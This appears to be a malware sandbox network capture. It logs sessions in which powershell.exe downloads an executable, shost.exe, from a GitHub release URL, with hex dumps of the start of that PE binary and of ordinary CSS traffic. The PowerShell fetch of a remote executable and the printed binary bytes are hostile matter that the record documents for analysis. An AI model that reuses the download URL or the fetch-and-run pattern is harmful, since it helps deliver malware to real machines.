2024-12-13 07:34:33 UTC	16384	IN	Data Raw: 4e 42 5a 47 6c 7a 59 57 4a 73 5a 57 51 6c 4d 6a 6b 6c 4d 30 46 75 62 33 51 6c 4d 6a 67 75 5a 47 6c 7a 59 57 4a 73 5a 57 51 6c 4d 6a 6b 6c 4d 30 46 68 59 33 52 70 64 6d 55 6c 4d 6b 4d 75 63 32 68 76 64 79 55 7a 52 53 35 69 64 47 34 74 62 33 56 30 62 47 6c 75 5a 53 31 6b 59 57 35 6e 5a 58 49 75 5a 48 4a 76 63 47 52 76 64 32 34 74 64 47 39 6e 5a 32 78 6c 4a 54 64 43 59 32 39 73 62 33 49 6c 4d 30 45 6c 4d 6a 4e 6d 5a 6d 59 6c 4d 30 4a 69 59 57 4e 72 5a 33 4a 76 64 57 35 6b 4c 57 4e 76 62 47 39 79 4a 54 4e 42 4a 54 49 7a 5a 47 4d 7a 4e 54 51 31 4a 54 4e 43 59 6d 39 79 5a 47 56 79 4c 57 4e 76 62 47 39 79 4a 54 4e 42 4a 54 49 7a 5a 47 4d 7a 4e 54 51 31 4a 54 64 45 4c 6d 4a 30 62 69 31 76 64 58 52 73 61 57 35 6c 4c 57 52 68 62 6d 64 6c 63 69 55 7a 51 57 35 76 64 Data Ascii: NBZGlzYWJsZWQlMjklM0Fub3QlMjguZGlzYWJsZWQlMjklM0FhY3RpdmUlMkMuc2hvdyUzRS5idG4tb3V0bGluZS1kYW5nZXIuZHJvcGRvd24tdG9nZ2xlJTdCY29sb3IlM0ElMjNmZmYlM0JiYWNrZ3JvdW5kLWNvbG9yJTNBJTIzZGMzNTQ1JTNCYm9yZGVyLWNvbG9yJTNBJTIzZGMzNTQ1JTdELmJ0bi1vdXRsaW5lLWRhbmdlciUzQW5vd
2024-12-13 07:34:33 UTC	16384	IN	Data Raw: 4a 6c 4a 54 64 43 59 6d 39 79 5a 47 56 79 4c 58 52 76 63 43 31 73 5a 57 5a 30 4c 58 4a 68 5a 47 6c 31 63 79 55 7a 51 54 41 6c 4d 30 4a 69 62 33 4a 6b 5a 58 49 74 59 6d 39 30 64 47 39 74 4c 57 78 6c 5a 6e 51 74 63 6d 46 6b 61 58 56 7a 4a 54 4e 42 4d 43 55 33 52 43 35 70 62 6e 42 31 64 43 31 6e 63 6d 39 31 63 43 31 68 63 48 42 6c 62 6d 51 6c 4d 6b 4d 75 61 57 35 77 64 58 51 74 5a 33 4a 76 64 58 41 74 63 48 4a 6c 63 47 56 75 5a 43 55 33 51 6d 52 70 63 33 42 73 59 58 6b 6c 4d 30 45 74 64 32 56 69 61 32 6c 30 4c 57 4a 76 65 43 55 7a 51 6d 52 70 63 33 42 73 59 58 6b 6c 4d 30 45 74 62 58 4d 74 5a 6d 78 6c 65 47 4a 76 65 43 55 7a 51 6d 52 70 63 33 42 73 59 58 6b 6c 4d 30 46 6d 62 47 56 34 4a 54 64 45 4c 6d 6c 75 63 48 56 30 4c 57 64 79 62 33 56 77 4c 57 46 77 63 Data Ascii: JlJTdCYm9yZGVyLXRvcC1sZWZ0LXJhZGl1cyUzQTAlM0Jib3JkZXItYm90dG9tLWxlZnQtcmFkaXVzJTNBMCU3RC5pbnB1dC1ncm91cC1hcHBlbmQlMkMuaW5wdXQtZ3JvdXAtcHJlcGVuZCU3QmRpc3BsYXklM0Etd2Via2l0LWJveCUzQmRpc3BsYXklM0EtbXMtZmxleGJveCUzQmRpc3BsYXklM0FmbGV4JTdELmlucHV0LWdyb3VwLWFwc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	20.233.83.145	443	6540	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 07:34:38 UTC	199	OUT	GET /homboz/ucm1/releases/download/iu1/shost.exe/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: github.com Connection: Keep-Alive
2024-12-13 07:34:39 UTC	956	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Fri, 13 Dec 2024 07:34:39 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/901249596/6d10bff7-1a14-49ca-b87f-abb64c71661e?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20241213%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241213T073439Z&X-Amz-Expires=300&X-Amz-Signature=9e7e9fdeeb69ae3a78254880b8ddecf25485e1943d087a656093b875693c9548&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Dshost.exe&response-content-type=application%2Foctet-stream Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-13 07:34:39 UTC	3380	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	185.199.111.133	443	6540	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 07:34:40 UTC	642	OUT	GET /github-production-release-asset-2e65be/901249596/6d10bff7-1a14-49ca-b87f-abb64c71661e?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20241213%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241213T073439Z&X-Amz-Expires=300&X-Amz-Signature=9e7e9fdeeb69ae3a78254880b8ddecf25485e1943d087a656093b875693c9548&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Dshost.exe&response-content-type=application%2Foctet-stream HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: objects.githubusercontent.com Connection: Keep-Alive
2024-12-13 07:34:41 UTC	794	IN	HTTP/1.1 200 OK Connection: close Content-Length: 16895360 Content-Type: application/octet-stream Last-Modified: Tue, 10 Dec 2024 10:11:26 GMT ETag: "0x8DD19030226390E" Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 2cf2d46e-c01e-000a-2598-4c45e2000000 x-ms-version: 2024-11-04 x-ms-creation-time: Tue, 10 Dec 2024 10:11:26 GMT x-ms-lease-status: unlocked x-ms-lease-state: available x-ms-blob-type: BlockBlob Content-Disposition: attachment; filename=shost.exe x-ms-server-encrypted: true Via: 1.1 varnish, 1.1 varnish Fastly-Restarts: 1 Accept-Ranges: bytes Age: 116 Date: Fri, 13 Dec 2024 07:34:41 GMT X-Served-By: cache-iad-kjyo7100145-IAD, cache-nyc-kteb1890025-NYC X-Cache: HIT, HIT X-Cache-Hits: 47, 0 X-Timer: S1734075281.124618,VS0,VE1
2024-12-13 07:34:41 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 74 3d 90 33 30 5c fe 60 30 5c fe 60 30 5c fe 60 7b 24 fd 61 37 5c fe 60 7b 24 fb 61 84 5c fe 60 7b 24 fa 61 3a 5c fe 60 20 d8 03 60 33 5c fe 60 20 d8 fd 61 39 5c fe 60 20 d8 fa 61 21 5c fe 60 20 d8 fb 61 18 5c fe 60 7b 24 ff 61 3b 5c fe 60 30 5c ff 60 ab 5c fe 60 7b d9 fa 61 29 5c fe 60 7b d9 fc 61 31 5c fe 60 52 69 63 68 30 5c fe 60 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$t=30\`0\`0\`{$a7\`{$a\`{$a:\` `3\` a9\` a!\` a\`{$a;\`0\`\`{a)\`{a1\`Rich0\`PEd
2024-12-13 07:34:41 UTC	1378	IN	Data Raw: d8 48 8b fb 4d 8b cc 41 b8 01 00 00 00 48 0f 47 f8 48 8b cd 48 8b d7 e8 8e f2 00 00 48 83 f8 01 72 69 48 03 ef b8 00 20 00 00 48 2b df 75 cf 8b c6 48 8b 7c 24 70 48 8b 6c 24 60 85 c0 74 0b 49 8b cf e8 f7 3d 01 00 4c 8b fe 49 8b cc e8 08 ef 00 00 49 8b f7 4d 85 ff 74 0e 48 8b d7 49 8b cf e8 19 35 00 00 44 8b e8 48 8b ce e8 ce 3d 01 00 48 8b 5c 24 68 41 8b c5 48 8b 74 24 78 48 83 c4 30 41 5f 41 5e 41 5d 41 5c 5f c3 e8 86 3d 01 00 4d 8d 4e 12 4c 8d 05 4b a6 02 00 48 8d 0d 78 a6 02 00 8b 10 e8 05 17 00 00 41 8b c5 eb 83 48 89 54 24 10 48 89 4c 24 08 53 55 56 57 41 56 41 57 48 81 ec 88 00 00 00 33 c0 4d 8b f0 48 8b da 48 89 44 24 50 48 8b f9 48 89 44 24 58 41 b8 58 00 00 00 48 89 44 24 60 48 8d 15 70 a4 02 00 89 44 24 28 48 8d 4c 24 20 48 89 44 24 20 8b e8 49 Data Ascii: HMAHGHHHriH H+uH\|$pHl$`tI=LIIMtHI5DH=H\$hAHt$xH0A_A^A]A\_=MNLKHxAHT$HL$SUVWAVAWH3MHHD$PHHD$XAXHD$`HpD$(HL$ HD$ I
2024-12-13 07:34:41 UTC	1378	IN	Data Raw: 00 49 8b cf e8 77 f0 00 00 85 c0 79 28 e8 a2 38 01 00 4c 8d 4f 12 4c 8d 05 1f a2 02 00 48 8d 0d 54 a2 02 00 8b 10 e8 21 12 00 00 bb ff ff ff ff e9 20 01 00 00 80 7f 10 01 75 18 45 33 c9 4d 8b c4 48 8b d7 49 8b cf e8 00 fb ff ff 8b d8 e9 02 01 00 00 4c 89 6c 24 30 33 db 41 bd 00 20 00 00 4c 89 74 24 28 41 8b cd e8 83 38 01 00 4c 8b f0 48 85 c0 75 28 e8 3a 38 01 00 4c 8d 4f 12 4c 8d 05 bf a0 02 00 48 8d 0d 14 a0 02 00 8b 10 e8 b9 11 00 00 bb ff ff ff ff e9 ae 00 00 00 48 89 74 24 58 8b 77 0c 48 85 f6 0f 84 90 00 00 00 48 89 6c 24 50 66 0f 1f 84 00 00 00 00 00 49 3b f5 48 8b ee 4d 8b cf 41 b8 01 00 00 00 49 0f 47 ed 49 8b ce 48 8b d5 e8 6e ec 00 00 48 83 f8 01 72 36 4d 8b cc 41 b8 01 00 00 00 48 8b d5 49 8b ce e8 94 f3 00 00 48 83 f8 01 72 07 48 2b f5 75 bd Data Ascii: Iwy(8LOLHT! uE3MHILl$03A Lt$(A8LHu(:8LOLHHt$XwHHl$PfI;HMAIGIHnHr6MAHIHrH+u
2024-12-13 07:34:41 UTC	1378	IN	Data Raw: 48 89 93 20 10 00 00 8b 02 48 03 d0 48 3b 93 10 10 00 00 72 86 48 8b cf e8 79 e4 00 00 48 8b b4 24 a8 00 00 00 48 8b c3 48 8b 8c 24 88 00 00 00 48 33 cc e8 62 a9 00 00 4c 8d 9c 24 90 00 00 00 49 8b 5b 20 49 8b 6b 28 49 8b e3 5f c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 4c 89 44 24 18 4c 89 4c 24 20 53 55 56 57 48 83 ec 38 49 8b f0 48 8d 6c 24 78 48 8b da 48 8b f9 e8 9b f3 ff ff 48 89 6c 24 28 4c 8b ce 4c 8b c3 48 c7 44 24 20 00 00 00 00 48 8b d7 48 8b 08 48 83 c9 02 e8 2c 2d 01 00 85 c0 b9 ff ff ff ff 0f 48 c1 48 83 c4 38 5f 5e 5d 5b c3 cc cc cc cc cc 48 89 5c 24 10 48 89 6c 24 18 48 89 74 24 20 57 48 81 ec 80 02 00 00 48 8b 05 42 c3 03 00 48 33 c4 48 89 84 24 70 02 00 00 48 8b 41 18 4c 8d 05 dc 9d 02 00 4c 8b 49 10 48 8b f9 48 83 c1 28 48 89 44 24 20 ba Data Ascii: H HH;rHyH$HH$H3bL$I[ Ik(I_LD$LL$ SUVWH8IHl$xHHHl$(LLHD$ HHH,-HH8_^][H\$Hl$Ht$ WHHBH3H$pHALLIHH(HD$
2024-12-13 07:34:41 UTC	1378	IN	Data Raw: 83 ec 50 48 8b 05 ae be 03 00 48 33 c4 48 89 44 24 40 48 8b f1 0f b7 ea 48 8b 89 30 20 00 00 45 0f b7 f0 ff 15 af 92 02 00 48 8b d8 48 85 c0 0f 84 90 00 00 00 0f b7 8e 58 20 00 00 33 ff 0f b7 86 5e 20 00 00 48 89 7c 24 30 89 7c 24 3c 8d 14 49 8b cd 2b ca 48 8b 96 48 20 00 00 2b c8 89 4c 24 38 48 85 d2 74 0c 48 8b cb ff 15 40 8e 02 00 48 8b f8 48 8d 56 28 c7 44 24 20 50 25 00 00 4c 8d 4c 24 30 41 b8 ff ff ff ff 48 8b cb ff 15 4d 92 02 00 48 83 be 48 20 00 00 00 74 0c 48 8b d7 48 8b cb ff 15 07 8e 02 00 48 8b 8e 30 20 00 00 48 8b d3 ff 15 17 92 02 00 0f b7 54 24 3c 66 2b 54 24 34 eb 05 ba 14 00 00 00 0f b7 8e 60 20 00 00 44 0f b7 8e 5e 20 00 00 66 3b d1 0f b7 c1 c7 44 24 28 01 00 00 00 66 0f 43 c2 89 4c 24 20 0f b7 96 58 20 00 00 48 8b 8e 28 20 00 00 44 8b Data Ascii: PHH3HD$@HH0 EHHX 3^ H\|$0\|$<I+HH +L$8HtH@HHV(D$ P%LL$0AHMHH tHHH0 HT$<f+T$4` D^ f;D$(fCL$ X H( D
2024-12-13 07:34:41 UTC	1378	IN	Data Raw: 8b d7 48 8b 08 48 83 c9 01 e8 50 25 01 00 85 c0 b9 ff ff ff ff 0f 48 c1 48 83 c4 38 5f 5e 5d 5b c3 cc cc cc cc cc 48 89 4c 24 08 48 89 54 24 10 4c 89 44 24 18 4c 89 4c 24 20 53 55 56 57 41 56 b8 40 10 00 00 e8 8c a1 00 00 48 2b e0 48 8b 05 02 b9 03 00 48 33 c4 48 89 84 24 30 10 00 00 48 8b e9 4c 8d b4 24 78 10 00 00 48 8d 7c 24 30 bb 00 10 00 00 33 f6 e8 0b 2b 01 00 44 8b c8 4c 8d 05 c9 94 02 00 48 8d 05 a2 95 02 00 8b d3 48 8d 4c 24 30 48 89 44 24 20 e8 f9 f4 ff ff 85 c0 78 19 48 63 c8 48 8d 7c 24 30 8b f0 48 03 f9 2b d8 b8 00 00 00 00 0f 49 c3 8b d8 48 63 db e8 94 e8 ff ff 4c 89 74 24 28 4c 8b cd 4c 8b c3 48 c7 44 24 20 00 00 00 00 48 8b d7 48 8b 08 48 83 c9 02 e8 25 22 01 00 4c 8d 0d 4a 95 02 00 c7 44 24 20 10 00 00 00 4c 8d 05 53 95 02 00 8b d6 48 8d Data Ascii: HHP%HH8_^][HL$HT$LD$LL$ SUVWAV@H+HH3H$0HL$xH\|$03+DLHHL$0HD$ xHcH\|$0H+IHcLt$(LLHD$ HHH%"LJD$ LSH
2024-12-13 07:34:41 UTC	1378	IN	Data Raw: 5b c3 cc cc 4c 89 44 24 18 4c 89 4c 24 20 53 55 56 57 41 54 41 55 41 56 41 57 b8 58 20 00 00 e8 50 9c 00 00 48 2b e0 48 8b 05 c6 b3 03 00 48 33 c4 48 89 84 24 40 20 00 00 45 33 ed 48 8d 74 24 40 41 8b ed 4d 8b f8 44 8b e2 4c 8b f1 bf 00 10 00 00 e8 cd 25 01 00 44 8b c8 4c 8d 05 d3 8f 02 00 8b d7 48 8d 4c 24 40 e8 f7 f9 ff ff 85 c0 78 18 48 63 c8 48 8d 74 24 40 8b e8 48 8d 34 4e 8b cf 2b c8 41 8b fd 0f 49 f9 48 63 df e8 63 e3 ff ff 4d 8b cf 4c 8b c3 48 8b d6 48 8b 08 48 8d 84 24 b8 20 00 00 48 89 44 24 28 48 83 c9 01 4c 89 6c 24 20 e8 44 1f 01 00 85 c0 b9 ff ff ff ff 0f 48 c1 85 c0 78 0d 48 63 c8 2b f8 41 0f 48 fd 48 8d 34 4e 48 63 d7 4c 8d 05 77 8f 02 00 4d 8b ce 48 8b ce e8 7c f9 ff ff 85 c0 78 0d 48 63 c8 2b f8 41 0f 48 fd 48 8d 34 4e 4c 89 6c 24 30 41 Data Ascii: [LD$LL$ SUVWATAUAVAWX PH+HH3H$@ E3Ht$@AMDL%DLHL$@xHcHt$@H4N+AIHccMLHHH$ HD$(HLl$ DHxHc+AHH4NHcLwMH\|xHc+AHH4NLl$0A
2024-12-13 07:34:41 UTC	1378	IN	Data Raw: ff ff 48 8b d8 48 3b 86 10 10 00 00 0f 82 f0 fe ff ff 33 c0 48 8b 9c 24 98 10 00 00 48 8b bc 24 a8 10 00 00 48 8b ac 24 a0 10 00 00 4c 8b b4 24 60 10 00 00 4c 8b a4 24 68 10 00 00 48 8b 8c 24 50 10 00 00 48 33 cc e8 c6 93 00 00 48 81 c4 70 10 00 00 41 5f 41 5d 5e c3 48 8b 05 f2 eb 03 00 4c 8d 44 24 38 48 8d 54 24 30 48 8d 4c 24 40 ff 15 8d 82 02 00 48 8b 05 de eb 03 00 4c 8d 44 24 38 48 8d 54 24 30 48 8d 4c 24 40 ff 15 71 82 02 00 48 8b 4c 24 30 33 f6 48 8b 05 33 ec 03 00 ff 15 5d 82 02 00 48 8b f8 48 8b c8 48 8b 05 50 ec 03 00 ff 15 4a 82 02 00 48 85 c0 74 0b 48 8b c8 e8 01 72 01 00 48 8b f0 48 8b 05 13 eb 03 00 48 8b cf ff 15 2a 82 02 00 41 80 bd 78 30 00 00 00 74 0e 48 8d 0d c1 8c 02 00 e8 d8 71 01 00 eb 1a 4c 8b 44 24 38 41 b9 02 00 00 00 48 8b 54 24 Data Ascii: HH;3H$H$H$L$`L$hH$PH3HpA_A]^HLD$8HT$0HL$@HLD$8HT$0HL$@qHL$03H3]HHHPJHtHrHHH*Ax0tHqLD$8AHT$
2024-12-13 07:34:41 UTC	1378	IN	Data Raw: 48 8d 4c 24 20 e8 d6 5b 00 00 48 8d 4c 24 20 85 c0 74 5a 48 8d 94 24 20 20 00 00 e8 40 5c 00 00 85 c0 79 18 48 8d 54 24 20 48 8d 0d 60 8c 02 00 e8 cb f0 ff ff b8 ff ff ff ff eb 59 41 b8 04 00 00 00 48 8d 94 24 20 20 00 00 48 8d 0d 9f 8c 02 00 e8 12 1b 01 00 33 d2 b9 08 00 00 00 85 c0 48 8d 84 24 20 20 00 00 0f 45 ca 48 03 c8 41 b8 00 10 00 00 48 8b d3 e8 25 5d 00 00 48 85 c0 75 13 48 8d 0d 79 8c 02 00 e8 74 f0 ff ff b8 ff ff ff ff eb 02 33 c0 48 8b 8c 24 20 40 00 00 48 33 cc e8 0b 8e 00 00 48 81 c4 30 40 00 00 5b c3 cc cc 40 55 57 41 54 b8 80 20 00 00 e8 f1 90 00 00 48 2b e0 48 8b 05 67 a8 03 00 48 33 c4 48 89 84 24 60 20 00 00 48 8b f9 b9 02 00 00 00 e8 6f 1c 01 00 48 8b c8 33 d2 e8 f9 1c 01 00 48 8d 4f 10 e8 ac fe ff ff 85 c0 79 0c 48 c7 c0 ff ff ff ff Data Ascii: HL$ [HL$ tZH$ @\yHT$ H`YAH$ H3H$ EHAH%]HuHyt3H$ @H3H0@[@UWAT H+HgH3H$` HoH3HOyH
2024-12-13 07:34:41 UTC	1378	IN	Data Raw: 24 b8 20 00 00 4c 8b bc 24 70 20 00 00 48 8b b4 24 b0 20 00 00 4c 8b b4 24 78 20 00 00 48 8b 9c 24 a8 20 00 00 48 8b 8c 24 60 20 00 00 48 33 cc e8 19 89 00 00 48 81 c4 80 20 00 00 41 5c 5f 5d c3 48 8b cf e8 95 4b 00 00 85 c0 79 09 48 8d 0d f2 83 02 00 eb a0 48 8d 9f 22 20 00 00 e9 b3 00 00 00 48 8d 0d ed 82 02 00 e8 40 4d 00 00 48 8b f0 48 85 c0 74 4d 80 38 00 74 48 48 8d 9f 22 20 00 00 4c 8b c8 48 8b cb 4c 8d 05 7b 7d 02 00 ba 00 10 00 00 e8 75 df ff ff 3d 00 10 00 00 7c 19 48 8d 0d 07 84 02 00 e8 f2 e9 ff ff 48 8b ce e8 7a 12 01 00 e9 42 ff ff ff 48 8b ce e8 6d 12 01 00 eb 52 48 8d 0d a4 83 02 00 e9 27 ff ff ff 48 8d 57 10 48 8d 4c 24 60 e8 81 07 00 00 4c 8b 87 70 30 00 00 48 8d 9f 22 20 00 00 48 8b cb 4d 85 c0 74 0c 48 8d 54 24 60 e8 b1 08 00 00 eb 16 Data Ascii: $ L$p H$ L$x H$ H$` H3H A\_]HKyHH" H@MHHtM8tHH" LHL{}u=\|HHzBHmRH'HWHL$`Lp0H" HMtHT$`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49765	185.199.108.153	443	764	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 07:35:10 UTC	537	OUT	GET /bootstrap-social/assets/css/font-awesome.css HTTP/1.1 Host: lipis.github.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-13 07:35:11 UTC	688	IN	HTTP/1.1 200 OK Connection: close Content-Length: 35128 Server: GitHub.com Content-Type: text/css; charset=utf-8 permissions-policy: interest-cohort=() Last-Modified: Sun, 19 Feb 2017 02:54:15 GMT Access-Control-Allow-Origin: * ETag: "58a908d7-8938" expires: Fri, 13 Dec 2024 07:45:10 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: 7DDF:3D95B8:5564A4:5B36BC:675BE3AE Accept-Ranges: bytes Age: 0 Date: Fri, 13 Dec 2024 07:35:10 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740062-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734075311.900166,VS0,VE18 Vary: Accept-Encoding X-Fastly-Request-ID: 518244164ef89e56af65590cdcaa76387c2bc334
2024-12-13 07:35:11 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 34 2e 36 2e 33 20 62 79 20 40 64 61 76 65 67 61 6e 64 79 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 20 2d 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 0a 20 2a 20 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 2f 6c 69 63 65 6e 73 65 20 28 46 6f 6e 74 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 53 53 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 2f 0a 2f 2a 20 46 4f 4e 54 20 50 41 54 48 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 46 6f 6e 74 41 77 65 73 6f 6d 65 27 3b 0a Data Ascii: /! Font Awesome 4.6.3 by @davegandy - http://fontawesome.io - @fontawesome * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) // FONT PATH * -------------------------- */@font-face { font-family: 'FontAwesome';
2024-12-13 07:35:11 UTC	1378	IN	Data Raw: 2e 66 61 2d 6c 69 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 6c 65 66 74 3a 20 2d 32 2e 31 34 32 38 35 37 31 34 65 6d 3b 0a 20 20 77 69 64 74 68 3a 20 32 2e 31 34 32 38 35 37 31 34 65 6d 3b 0a 20 20 74 6f 70 3a 20 30 2e 31 34 32 38 35 37 31 34 65 6d 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 66 61 2d 6c 69 2e 66 61 2d 6c 67 20 7b 0a 20 20 6c 65 66 74 3a 20 2d 31 2e 38 35 37 31 34 32 38 36 65 6d 3b 0a 7d 0a 2e 66 61 2d 62 6f 72 64 65 72 20 7b 0a 20 20 70 61 64 64 69 6e 67 3a 20 2e 32 65 6d 20 2e 32 35 65 6d 20 2e 31 35 65 6d 3b 0a 20 20 62 6f 72 64 65 72 3a 20 73 6f 6c 69 64 20 30 2e 30 38 65 6d 20 23 65 65 65 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 2e 31 65 6d 3b Data Ascii: .fa-li { position: absolute; left: -2.14285714em; width: 2.14285714em; top: 0.14285714em; text-align: center;}.fa-li.fa-lg { left: -1.85714286em;}.fa-border { padding: .2em .25em .15em; border: solid 0.08em #eee; border-radius: .1em;
2024-12-13 07:35:11 UTC	1378	IN	Data Raw: 2d 66 69 6c 74 65 72 3a 20 22 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e 3d 32 29 22 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 31 38 30 64 65 67 29 3b 0a 20 20 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 31 38 30 64 65 67 29 3b 0a 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 31 38 30 64 65 67 29 3b 0a 7d 0a 2e 66 61 2d 72 6f 74 61 74 65 2d 32 37 30 20 7b 0a 20 20 2d 6d 73 2d 66 69 6c 74 65 72 3a 20 22 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e Data Ascii: -filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2)"; -webkit-transform: rotate(180deg); -ms-transform: rotate(180deg); transform: rotate(180deg);}.fa-rotate-270 { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation
